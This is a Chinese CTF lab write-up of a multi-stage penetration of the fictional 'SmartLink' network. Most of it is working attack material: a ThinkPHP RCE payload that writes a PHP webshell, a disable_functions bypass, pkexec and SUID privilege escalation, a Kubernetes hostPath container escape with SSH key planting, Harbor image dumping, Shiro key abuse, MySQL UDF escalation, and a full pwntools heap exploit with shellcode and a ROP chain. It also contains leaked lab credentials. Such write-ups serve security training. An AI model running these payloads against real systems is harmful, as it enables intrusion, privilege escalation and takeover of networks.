24 长城杯（GreatWall）

在这个靶场中，您将扮演一名渗透测试工程师，接受雇佣任务来评估“SmartLink Technologies Ltd.”公司的网络安全状况。您的任务是首先入侵该公司暴露在公网上的应用服务，然后运用后渗透技巧深入 SmartLink公司的内部网络。在这个过程中，您将寻找潜在的弱点和漏洞，并逐一接管所有服务，从而控制整个内部网络。靶场中共设置了6个Flag，它们分布在不同的靶机上，您需要找到并获取这些 Flag 作为您的成就目标。

信息收集

./fscan.exe -h 39.101.67.119 -nobr

start infoscan
39.101.67.119:8080 open
39.101.67.119:22 open
39.101.67.119:80 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle http://39.101.67.119      code:200 len:10887  title:""
[*] WebTitle http://39.101.67.119:8080 code:200 len:1027   title:Login Form
[+] PocScan http://39.101.67.119:8080 poc-yaml-thinkphp5023-method-rce poc1
已完成 3/3
[*] 扫描结束,耗时: 8.8643111s

机器17（flag01）

搜索poc-yaml-thinkphp5023-method-rce，根据相关文章进行复现
/index.php?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo '<?php eval($_POST[1]); ?>' > xx.php
然后蚁剑连接，上传stowaway和fscan
./linux_x64_agent -l 44444 -s 123
./linux_x64_admin -c 39.101.67.119:44444 -s 123
socks 12345
尝试提权（其实并不用提权，flag能直接读）
find / -user root -perm -4000 -print 2>/dev/null

/usr/bin/fusermount
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/stapbpf
/usr/bin/umount
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/staprun
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1

尝试CVE-2021-4034利用pkexec提权
upload /home/kali/CVE-2021-4034/cve-2021-4034.c /tmp/xx/poc.c
gcc poc.c -o poc
./poc
无果
其实直接读取就行
cat /f1ag01_UdEv.txt
flag01: flag{176f49b6-147f-4557-99ec-ba0a351e1ada}
fscan扫一下
./fscan -h 172.28.23.0/24 -nobr

start ping
(icmp) Target 172.28.23.26    is alive
(icmp) Target 172.28.23.17    is alive
(icmp) Target 172.28.23.33    is alive
[*] Icmp alive hosts len is: 3
172.28.23.33:8080 open
172.28.23.17:8080 open
172.28.23.26:80 open
172.28.23.33:22 open
172.28.23.17:80 open
172.28.23.17:22 open
172.28.23.26:22 open
172.28.23.26:21 open
[*] alive ports len is: 8
start vulscan
[*] WebTitle http://172.28.23.17       code:200 len:10887  title:""
[*] WebTitle http://172.28.23.17:8080  code:200 len:1027   title:Login Form
[*] WebTitle http://172.28.23.26       code:200 len:13693  title:新翔OA管理系统-OA管理平台联系电话：13849422648微信同号，QQ958756413
[*] WebTitle http://172.28.23.33:8080  code:302 len:0      title:None 跳转url: http://172.28.23.33:8080/login;jsessionid=370C2ED3579BA353A7B47F403AE78326
[*] WebTitle http://172.28.23.33:8080/login;jsessionid=370C2ED3579BA353A7B47F403AE78326 code:200 len:3860   title:智联科技 ERP 后台登陆
[+] PocScan http://172.28.23.17:8080 poc-yaml-thinkphp5023-method-rce poc1
[+] PocScan http://172.28.23.33:8080 poc-yaml-spring-actuator-heapdump-file 
[+] PocScan http://172.28.23.33:8080 poc-yaml-springboot-env-unauth spring2
已完成 8/8
[*] 扫描结束,耗时: 7.603183726s

172.28.23.26 新翔OA管理系统
172.28.23.17 本机
172.28.23.33 heapdump泄露

机器26（flag02）

然后在windows上也挂个代理
./linux_x64_agent -l 44445 -s 123
./windows_x64_admin.exe -c 39.101.67.119:44445 -s 123
然后搜索新翔OA管理系统相关漏洞
http://172.28.23.26/uploadbase64.php
imgbase64=

上传木马成功进行蚁剑连接
尝试命令执行

1 2	(www-data:ret=) $ ls ret=127

发现需要绕过disable_functions

利用蚁剑插件进行绕过
选择LD_PRELOAD

生成.antproxy.php，修改为.xxx.php
新建一个 get 型木马 shell1.php（post 型在当前环境无法利用成功）：
<?php system($_GET['cmd']);?>

将.xxx.php内的 $url = "/2024-05-31-66593ef7a645b.php"; 修改为：$url = "upload/shell1.php";

然后即可命令执行，但是蚁剑还是不行，这里用传参的方式命令执行
蚁剑里面可以看见flag的权限是0400，也就是需要提权
http://172.28.23.26/upload/.xxx.php?cmd=find%20/%20-perm%20-u=s%20-type%20f%202%3E/dev/null

/bin/fusermount
/bin/ping6
/bin/mount
/bin/su
/bin/ping
/bin/umount
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/at
/usr/bin/staprun
/usr/bin/base32
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/sudo
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/s-nail/s-nail-privsep

这里利用base32拿flag02即可
然后就可以拿flag02了
http://172.28.23.26/upload/.xxx.php?cmd=/usr/bin/base32%20/flag02.txt
MZWGCZZQGI5CAZTMMFTXWNJWMQZTONZTGQWTKZRXGMWTINBXMYWWEMLBGUWWCOBTMY2DKNJUHFRD EOD5BI======
解密一下即可拿到flag02

flag02: flag{56d37734-5f73-447f-b1a5-a83f45549b28}
蚁剑上传stowaway连接
./linux_x64_agent -c 172.28.23.17:44448 -s 123 --reconnect 8
ifconfig

eth0      Link encap:Ethernet  HWaddr 00:16:3e:05:2c:24  
          inet addr:172.28.23.26  Bcast:172.28.255.255  Mask:255.255.0.0
          inet6 addr: fe80::216:3eff:fe05:2c24/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:197244 errors:0 dropped:0 overruns:0 frame:0
          TX packets:61284 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:216938131 (216.9 MB)  TX bytes:53258970 (53.2 MB)

eth1      Link encap:Ethernet  HWaddr 00:16:3e:05:2b:f2  
          inet addr:172.22.14.6  Bcast:172.22.255.255  Mask:255.255.0.0
          inet6 addr: fe80::216:3eff:fe05:2bf2/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:80603 errors:0 dropped:0 overruns:0 frame:0
          TX packets:79930 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:9217713 (9.2 MB)  TX bytes:13148272 (13.1 MB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:11505 errors:0 dropped:0 overruns:0 frame:0
          TX packets:11505 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1 
          RX bytes:6519432 (6.5 MB)  TX bytes:6519432 (6.5 MB)

发现是双网卡，扫一下另外一个网段
./fscan -h 172.22.14.0/24 -nobr

start ping
(icmp) Target 172.22.14.6     is alive
(icmp) Target 172.22.14.37    is alive
(icmp) Target 172.22.14.46    is alive
[*] Icmp alive hosts len is: 3
172.22.14.6:22 open
172.22.14.6:21 open
172.22.14.46:22 open
172.22.14.37:10250 open
172.22.14.46:80 open
172.22.14.37:22 open
172.22.14.6:80 open
172.22.14.37:2379 open
[*] alive ports len is: 8
start vulscan
[*] WebTitle http://172.22.14.46       code:200 len:785    title:Harbor
[*] WebTitle http://172.22.14.6        code:200 len:13693  title:新翔OA管理系统-OA管理平台联系电话：13849422648微信同号，QQ958756413
[+] InfoScan http://172.22.14.46       [Harbor] 
[*] WebTitle https://172.22.14.37:10250 code:404 len:19     title:None
[+] PocScan http://172.22.14.46/swagger.json poc-yaml-swagger-ui-unauth [{path swagger.json}]
已完成 8/8
[*] 扫描结束,耗时: 7.793805358s

挂个二级代理
socks 12346

机器37（flag04）

172.22.14.37 开放 10250 和 2379 端口。探测 8080 和 6443 端口是否开放：
./fscan -h 172.22.14.37 -p 1-65535

start infoscan
172.22.14.37:22 open
172.22.14.37:2380 open
172.22.14.37:2379 open
172.22.14.37:6443 open
172.22.14.37:10256 open
172.22.14.37:10252 open
172.22.14.37:10251 open
172.22.14.37:10250 open
[*] alive ports len is: 8
start vulscan
[*] WebTitle http://172.22.14.37:10252 code:404 len:19     title:None
[*] WebTitle http://172.22.14.37:10256 code:404 len:19     title:None
[*] WebTitle http://172.22.14.37:10251 code:404 len:19     title:None
[*] WebTitle https://172.22.14.37:6443 code:200 len:4671   title:None
[*] WebTitle https://172.22.14.37:10250 code:404 len:19     title:None
[+] PocScan https://172.22.14.37:6443 poc-yaml-go-pprof-leak 
[+] PocScan https://172.22.14.37:6443 poc-yaml-kubernetes-unauth

存在 Kubernetes API server 未授权
https://172.22.14.37:6443
安装命令行工具kubectl
https://dl.k8s.io/release/v1.34.0/bin/windows/amd64/kubectl.exe
查看 pod（用户名密码输入任意内容即可）
kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ get pods

Please enter Username: xianxin
Please enter Password: NAME                                
READY   STATUS    RESTARTS   AGE
nginx-deployment-58d48b746d-q4zh7   1/1     Running   2          178d

查看 pod 资源：
kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ describe pod nginx-deployment-58d48b746d-q4zh7

Please enter Username: xianxin
Please enter Password: Name:             
nginx-deployment-58d48b746d-q4zh7
Namespace:        default
Priority:         0
Service Account:  default
Node:             ubuntu-k8s/172.22.14.37
Start Time:       Mon, 17 Mar 2025 16:11:45 +0800
Labels:           app=nginx
                  pod-template-hash=58d48b746d
Annotations:      <none>
Status:           Running
IP:               10.244.0.12
IPs:
  IP:           10.244.0.12
Controlled By:  ReplicaSet/nginx-deployment-58d48b746d
Containers:
  nginx:
    Container ID:   docker://90dacf03b58e28490b97b2e2c6946a77b042746c2ba5982bdba8a3d62678fbd8
    Image:          nginx:1.8
    Image ID:       docker-pullable://nginx@sha256:c97ee70c4048fe79765f7c2ec0931957c2898f47400128f4f3640d0ae5d60d10
    Port:           <none>
    Host Port:      <none>
    State:          Running
      Started:      Thu, 11 Sep 2025 14:08:53 +0800
    Last State:     Terminated
      Reason:       Completed
      Exit Code:    0
      Started:      Mon, 17 Mar 2025 16:13:11 +0800
      Finished:     Thu, 11 Sep 2025 14:08:16 +0800
    Ready:          True
    Restart Count:  2
    Environment:    <none>
    Mounts:
      /var/run/secrets/kubernetes.io/serviceaccount from default-token-6d2pl (ro)
Conditions:
  Type              Status
  Initialized       True
  Ready             True
  ContainersReady   True
  PodScheduled      True
Volumes:
  default-token-6d2pl:
    Type:        Secret (a volume populated by a Secret)
    SecretName:  default-token-6d2pl
    Optional:    false
QoS Class:       BestEffort
Node-Selectors:  <none>
Tolerations:     node.kubernetes.io/not-ready:NoExecute op=Exists for 300s
                 node.kubernetes.io/unreachable:NoExecute op=Exists for 300s
Events:          <none>

用 nginx:1.8 镜像创建名为 nginx-deployment 的 pod，将宿主机的目录挂载到 /mnt 目录。
创建test.yaml

apiVersion: v1
kind: Pod
metadata:
  name: nginx-deployment
spec:
  containers:
  - image: nginx:1.8
    name: container
    volumeMounts:
    - mountPath: /mnt
      name: xianxin
  volumes:
  - name: xianxin
    hostPath:
      path: /

创建 pod 并查看运行情况：
kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ apply -f test.yaml

1
2
3

Please enter Username: xianxin
Please enter Password: 
pod/nginx-deployment created

kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ get pods

Please enter Username: xianxin
Please enter Password: 
NAME                                READY   STATUS    RESTARTS   AGE
nginx-deployment                    1/1     Running   0          14s
nginx-deployment-58d48b746d-q4zh7   1/1     Running   2          178d

然后即可开shell命令执行
kubectl --insecure-skip-tls-verify -s https://172.22.14.37:6443/ exec -it nginx-deployment -- /bin/bash
这里我们虽然能命令执行了，但是我们只是在k8s的一个pod里面命令执行，所以我们要通过这个pod来逃逸到宿主机k8s上，这里通过前面的挂载写入ssh到宿主机
生成ssh密钥（密码留空即可）
ssh-keygen -t rsa -b 4096
cat ~/.ssh/id_rsa.pub

然后在我们拿到的shell里面写入ssh公钥（注意写入的公钥不包含最后的xxxx@kali）
echo "ssh-rsa YOUR_KEY_HERE" > /mnt/root/.ssh/authorized_keys
然后ssh连接
proxychains ssh -i ~/.ssh/id_rsa root@172.22.14.37

Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-213-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

Welcome to Alibaba Cloud Elastic Compute Service !

Last login: Mon Mar 17 16:32:24 2025 from 106.37.219.130
root@ubuntu-k8s:~# ls -al
total 56
drwx------  8 root root 4096 Mar 17 16:32 .
drwxr-xr-x 22 root root 4096 Sep 11 14:08 ..
lrwxrwxrwx  1 root root    9 Mar 17 16:32 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Apr  9  2018 .bashrc
drwx------  3 root root 4096 Jul 18  2023 .cache
drwx------  3 root root 4096 Jul 18  2023 .gnupg
drwxr-xr-x  4 root root 4096 Mar 17 15:53 .kube
drwxr-xr-x 14 root root 4096 Mar 17 15:49 metarget
-rw-------  1 root root 1136 Mar 25  2024 .mysql_history
-rw-r--r--  1 root root  295 Mar 17 16:11 nginx-deployment.yaml
drwxr-xr-x  2 root root 4096 Jul 18  2023 .pip
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root  206 Sep 11 14:08 .pydistutils.cfg
-rw-------  1 root root    7 Mar 17 15:47 .python_history
drwx------  2 root root 4096 Jul 18  2023 .ssh

发现有mysql的历史命令，进行读取

root@ubuntu-k8s:~# cat .mysql_history 
_HiStOrY_V2_
show\040databases;
create\040database\040flaghaha;
use\040flaghaha
DROP\040TABLE\040IF\040EXISTS\040`f1ag`;
CREATE\040TABLE\040`flag06`\040(
`id`\040int\040DEFAULT\040NULL,
\040\040`f1agggggishere`\040varchar(255)\040DEFAULT\040NULL
)\040ENGINE=MyISAM\040DEFAULT\040CHARSET=utf8;
CREATE\040TABLE\040`flag06`\040(\040`id`\040int\040DEFAULT\040NULL,\040\040\040`f1agggggishere`\040varchar(255)\040DEFAULT\040NULL\040)\040ENGINE=MyISAM\040DEFAULT\040CHARSET=utf8;
show\040tables;
drop\040table\040flag06;
DROP\040TABLE\040IF\040EXISTS\040`f1ag`;
CREATE\040TABLE\040`flag04`\040(
`id`\040int\040DEFAULT\040NULL,
\040\040`f1agggggishere`\040varchar(255)\040DEFAULT\040NULL
)\040ENGINE=MyISAM\040DEFAULT\040CHARSET=utf8;
CREATE\040TABLE\040`flag04`\040(\040`id`\040int\040DEFAULT\040NULL,\040\040\040`f1agggggishere`\040varchar(255)\040DEFAULT\040NULL\040)\040ENGINE=MyISAM\040DEFAULT\040CHARSET=utf8;
INSERT\040INTO\040`flag`\040VALUES\040(1,\040'ZmxhZ3tkYTY5YzQ1OS03ZmU1LTQ1MzUtYjhkMS0xNWZmZjQ5NmEyOWZ9Cg==');
INSERT\040INTO\040`flag04`\040VALUES\040(1,\040'ZmxhZ3tkYTY5YzQ1OS03ZmU1LTQ1MzUtYjhkMS0xNWZmZjQ5NmEyOWZ9Cg==');
exit

发现flag04，base64解码一下即可获得flag04
flag{da69c459-7fe5-4535-b8d1-15fff496a29f}

机器46（flag05）

存在 Harbor 公开镜像仓库未授权访问 CVE-2022-46463。Linux 环境下运行harbor.py：
``proxychains python3 harbor.py http://172.22.14.46`

[+] project/projectadmin
[+] project/portal
[+] library/nginx
[+] library/redis
[+] harbor/secret

下载harbor/secret镜像
proxychains python3 harbor.py http://172.22.14.46 --dump harbor/secret --v2

[+] Dumping : harbor/secret:latest
    [+] Downloading : 58690f9b18fca6469a14da4e212c96849469f9b1be6661d2342a4bf01774aa50
    [+] Downloading : b51569e7c50720acf6860327847fe342a1afbe148d24c529fb81df105e3eed01
    [+] Downloading : da8ef40b9ecabc2679fe2419957220c0272a965c5cf7e0269fa1aeeb8c56f2e1
    [+] Downloading : fb15d46c38dcd1ea0b1990006c3366ecd10c79d374f341687eb2cb23a2c8672e
    [+] Downloading : 413e572f115e1674c52e629b3c53a42bf819f98c1dbffadc30bda0a8f39b0e49
    [+] Downloading : 8bd8c9755cbf83773a6a54eff25db438debc22d593699038341b939e73974653

分析镜像文件
ls *

413e572f115e1674c52e629b3c53a42bf819f98c1dbffadc30bda0a8f39b0e49:
f1ag05_Yz1o.txt  run.sh

58690f9b18fca6469a14da4e212c96849469f9b1be6661d2342a4bf01774aa50:
bin   dev  home  lib64  mnt  proc  run   srv  tmp  var
boot  etc  lib   media  opt  root  sbin  sys  usr

8bd8c9755cbf83773a6a54eff25db438debc22d593699038341b939e73974653:
run.sh

b51569e7c50720acf6860327847fe342a1afbe148d24c529fb81df105e3eed01:
etc  sbin  usr  var

da8ef40b9ecabc2679fe2419957220c0272a965c5cf7e0269fa1aeeb8c56f2e1:
var

fb15d46c38dcd1ea0b1990006c3366ecd10c79d374f341687eb2cb23a2c8672e:
run

找到 flag05
cd 413e572f115e1674c52e629b3c53a42bf819f98c1dbffadc30bda0a8f39b0e49
cat f1ag05_Yz1o.txt
flag05: flag{8c89ccd3-029d-41c8-8b47-98fb2006f0cf}

机器28（flag06）

下载hproject/projectadmin镜像
proxychains python3 harbor.py http://172.22.14.46 --dump project/projectadmin --v2
ls *

63e9bbe323274e77e58d77c6ab6802d247458f784222fbb07a2556d6ec74ee05:
bin   dev  home  lib32  libx32  mnt  proc  run   srv  tmp  var
boot  etc  lib   lib64  media   opt  root  sbin  sys  usr

70437571d98143a3479eaf3cc5af696ea79710e815d16e561852cf7d429736bd:
run.sh

90d3d033513d61a56d1603c00d2c9d72a9fa8cfee799f3b1737376094b2f3d4c:
app  etc  run.sh  tmp  usr  var

a1ae0db7d6c6f577c8208ce5b780ad362ef36e69d068616ce9188ac1cc2f80c6:
app

ae0fa683fb6d89fd06e238876769e2c7897d86d7546a4877a2a4d2929ed56f2c:
app

cd 90d3d033513d61a56d1603c00d2c9d72a9fa8cfee799f3b1737376094b2f3d4c
cat run.sh

#!/bin/bash
sleep 1

# start
java -jar /app/ProjectAdmin-0.0.1-SNAPSHOT.jar
/usr/bin/tail -f /dev/null

把jar文件下载下来
idea反汇编分析

spring.datasource.url=jdbc:mysql://172.22.10.28:3306/projectadmin?characterEncoding=utf-8&useUnicode=true&serverTimezone=UTC
spring.datasource.username=root
spring.datasource.password=My3q1i4oZkJm3
spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver

发现mysql数据库的账号密码
mdut连接，可以直接UDF提权,然后命令执行拿flag即可

flag06: flag{413ac6ad-1d50-47cb-9cf3-17354b751741}

机器33（flag03）

存在heapdump泄露，先下载heapdump文件下来
http://172.28.23.33:8080/actuator/heapdump
然后利用JDumpSpider进行分析
java -jar JDumpSpider-1.0-SNAPSHOT-full.jar heapdump
发现shiro秘钥

1
2
3

CookieRememberMeManager(ShiroKey)
-------------
algMode = GCM, key = AZYyIgMYhG6/CzIJlvpR2g==, algName = AES

shiroattack2直接打（注意勾选AES）

然后连接内存马
连一下二级代理
./linux_x64_agent -c 172.28.23.17:44447 -s 123 --reconnect 8
ifconfig

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.28.23.33  netmask 255.255.0.0  broadcast 172.28.255.255
        inet6 fe80::216:3eff:fe05:2c1a  prefixlen 64  scopeid 0x20<link>
        ether 00:16:3e:05:2c:1a  txqueuelen 1000  (Ethernet)
        RX packets 198342  bytes 222051664 (222.0 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 60882  bytes 252269886 (252.2 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.22.10.16  netmask 255.255.255.0  broadcast 172.22.10.255
        inet6 fe80::216:3eff:fe05:2c1b  prefixlen 64  scopeid 0x20<link>
        ether 00:16:3e:05:2c:1b  txqueuelen 1000  (Ethernet)
        RX packets 1394  bytes 58548 (58.5 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 1410  bytes 59764 (59.7 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 3196  bytes 340888 (340.8 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 3196  bytes 340888 (340.8 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

发现还有一个网段
fscan扫一下
upload /home/kali/Desktop/fscan /tmp/xx/fscan
./fscan -h 172.22.10.0/24 -nobr

start ping
(icmp) Target 172.22.10.28    is alive
(icmp) Target 172.22.10.16    is alive
[*] Icmp alive hosts len is: 2
172.22.10.28:80 open
172.22.10.16:22 open
172.22.10.28:22 open
172.22.10.16:8080 open
172.22.10.28:3306 open
[*] alive ports len is: 5
start vulscan
[*] WebTitle http://172.22.10.16:8080  code:302 len:0      title:None 跳转url: http://172.22.10.16:8080/login;jsessionid=195A858EFF27838B0218BCB05F612F81
[*] WebTitle http://172.22.10.16:8080/login;jsessionid=195A858EFF27838B0218BCB05F612F81 code:200 len:3860   title:智联科技 ERP 后台登陆
[*] WebTitle http://172.22.10.28       code:200 len:1975   title:DooTask
[+] PocScan http://172.22.10.16:8080 poc-yaml-spring-actuator-heapdump-file 
[+] PocScan http://172.22.10.16:8080 poc-yaml-springboot-env-unauth spring2

发现就是我们前面拿flag06的mysql机器
在~目录找到一个hashnote，需要利用Pwn知识，这里贴个脚本

from pwn import *

elf = ELF('./HashNote')
context(arch=elf.arch, os='linux', log_level='debug')
# p = process('./HashNote')

p = remote('172.28.23.33', 59696)

def send_command(command):
    p.sendlineafter(': ', str(command))

def add_entry(key, value):
    send_command(1)
    p.sendlineafter('Key: ', key)
    p.sendlineafter('Data: ', value)

def get_entry(key):
    send_command(2)
    p.sendlineafter('Key: ', key)

def update_entry(key, value):
    send_command(3)
    p.sendlineafter('Key: ', key)
    p.sendlineafter('Data: ', value)

def set_username(value):
    send_command(4)
    p.sendafter('New username: ', value)

p.sendlineafter('Username: ', '123')
p.sendlineafter('Password: ', 'freep@ssw0rd:3')

add_entry('aabP', 'aaaaaaaa')
add_entry('aace', 'C' * 0xc0)

sc = [
    '\x6a\x3b',                   # push   0x3b
    '\x58',                       # pop    rax
    '\x99',                       # cdq
    '\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68', # movabs rbx, 0x68732f6e69622f2f
    '\x53',                       # push   rbx
    '\x48\x89\xe7',               # mov    rdi, rsp
    '\x52',                       # push   rdx
    '\x57',                       # push   rdi
    '\x48\x89\xe6',               # mov    rsi, rsp
    '\x0f\x05'                    # syscall
]
shellcode = b''.join(sc)
username_addr = 0x5dc980
fake_obj_addr = username_addr + 0x10

def arbitrary_read(addr):
    payload = p64(fake_obj_addr)
    payload += p64(0xdeadbeef)

    fake_obj = p64(fake_obj_addr + 0x10) + p64(4)
    fake_obj += 'aahO'.ljust(0x10, '\x00')
    fake_obj += p64(addr) + p64(8) + 'aaaaaaaa'

    payload += fake_obj
    payload += shellcode
    payload = payload.ljust(128, '\x00')
    set_username(payload)
    get_entry('aahO')

# 任意读/写函数
def arbitrary_write(addr, data):
    payload = p64(fake_obj_addr)
    payload += p64(0xdeadbeef)

    fake_obj = p64(fake_obj_addr + 0x10) + p64(4)
    fake_obj += 'aahO'.ljust(0x10, '\x00')
    fake_obj += p64(addr) + p64(len(data)) + 'aaaaaaaa'

    payload += fake_obj
    payload += shellcode
    payload = payload.ljust(128, '\x00')
    set_username(payload)
    update_entry('aahO', data)

environ = 0x5e4c38 
arbitrary_read(environ)
stack_addr = u64((p.recvuntil('\x7f', drop=False)[-6:].ljust(8, '\0')))
success('stack_addr', stack_addr)

rdi = 0x0000000000405e7c
rsi = 0x000000000040974f
rax = 0x00000000004206ba
rdx_rbx = 0x000000000053514b
shr_eax_2 = 0x0000000000523f2e
syscall_ret = 0x00000000004d9776

payload = p64(rdi) + p64(username_addr & ~0xfff) + p64(rsi) + p64(0x1000) + p64(rdx_rbx) + p64(7) + p64(0) + p64(rax) + p64(0xa << 2) + p64(shr_eax_2) + p64(syscall_ret) + p64(username_addr + 0x48)

arbitrary_write(stack_addr - 0x210, payload)
p.sendline('uname -ar')

p.interactive()

即可命令执行拿flag03